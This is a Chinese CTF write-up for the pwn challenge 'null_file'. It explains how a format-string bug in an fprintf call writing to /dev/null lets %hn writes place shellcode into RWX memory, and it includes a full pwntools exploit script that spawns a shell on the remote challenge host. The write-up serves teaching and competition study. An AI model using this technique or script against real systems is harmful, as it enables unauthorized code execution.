null_file
.png)
main函数:
.png)
.png)
题目就只有这个main函数,首先len = getpagesize()获取当前操作系统的内存页大小,也就是4096字节,然后mmap申请了三个内存页大小的权限为7的地方,这里可以考虑用shellcode
然后stream = fopen("/dev/null", "w"),/dev/null: 是 Linux 系统中一个特殊的设备文件,任何写入它的数据都会被丢弃而不会储存,fopen返回一个指针,然后如果打开成功,进入if分支
在addr开头放了个-61(对应的机器码为0xc3,也就是ret),然后进入个无限循环,给了我们向s写入15字节机会,然后如果没输入东西或者只输入了\n(会被替换为0)就跳入LABEL_10,而LABEL_10是return ((__int64 (*)(void))addra)(),看汇编我们可以发现这里就是一个call指令,跳转到addra指向的地方开始执行,我们可以看到addra和addr是在同一个区域中的,也就是说我们只要往addr写入shellcode,就能利用这个操作直接执行
如果我们输入了东西,会执行一个fprintf,fprintf多了一个参数,第一个参数是代表输出到指定的文件流(如 stderr, stdout 或文件),这里就是输出到 /dev/null,我们前面说了往 /dev/null写会直接丢弃掉数据,同时我们发现这里有格式化字符串漏洞,这里我们虽然不能用%p这些泄露地址,但是我们的%n修改操作能正常使用,(这里 /dev/null对我们%n没影响,它丢弃的是我们输入的%n),然后addra指向的地址+2,无限循环
那我们的重点利用就是这个格式化字符串了,我们在call fprintf下断点看看栈上的情况(这里不知道为什么,在ida中看汇编代码中得到的call fprintf指令的偏移量不对,我是在disassemble main在gdb中看汇编来找这个指令的偏移量)
在看fprintf前,我们先讨论一下addra和addr的关系,我们看到main函数开头addr和addra的栈的位置是一样的,因为在addra的生命周期中addr是没用到的,所以编译器为了节省空间就复用了addr的栈位置给addra,然后它们存的都是一个指针,在开始时addra里面存的指针是addr里面存的指针-2
.png)
这里注意一下,我们可以看到+2是在fprintf前执行的
.png)
我们看到06的位置有一个0xc3,这个就是开始在addr存入的-61,这也跟我们前面看到的符合,在这个时候addra已经+2了,与addr重合了,所以看这个栈空间我们是相当于可以直接向addra(说是addr也行)指向的地址也就是我们开始建立的7权限的地址写入的,那我们就可以直接利用%11hn写入了,这里用hn两字节写入是因为,*addra是char,*addr是byte,都是一字节的,那每次递增两格就是增加两字节,刚好和hn的两字节写入契合上,能连续写入
shell = asm(shellcraft.sh())
shell += asm('''jmp $-0x30''')
这里最后加上一个jmp是因为我们是从addra开头放的,我们退出时是call 当前的addra(可能是addr+2n),所以是从我们最后写入输入的两字节的开头开始执行的,所以我们要让它跳转到开头,我们这个跳转指令必须要小于等于两字节,不然无法完整执行,这里jmp刚好两字节
for i in range(0,len(shell),2):
code = shell[i:i+2]
code = code.ljust(2,b'\x90')
sla(b"leave your actions: \n",f"%{u16(code)}c%11$hn".encode())
这里 code = code.ljust(2,b'\x90')可以删掉,因为shell是偶数字节(50字节),但是如果是奇数这行就必须要
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
file_name = './pwn_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
0x14f2
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
target = 'nc1.ctfplus.cn'
port = 15108
p = remote(target, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(): return p.recvline()
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'|', name='Leak'): return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
#################################################################################
shell = asm(shellcraft.sh())
shell += asm('''jmp $-0x30''')
for i in range(0,len(shell),2):
code = shell[i:i+2]
code = code.ljust(2,b'\x90')
sla(b"leave your actions: \n",f"%{u16(code)}c%11$hn".encode())
sla(b"leave your actions: \n",b"\x00")
it()
题目链接:
CTF-Writeups/第十六届极客大挑战/null_file at main · Zenquiem/CTF-Writeups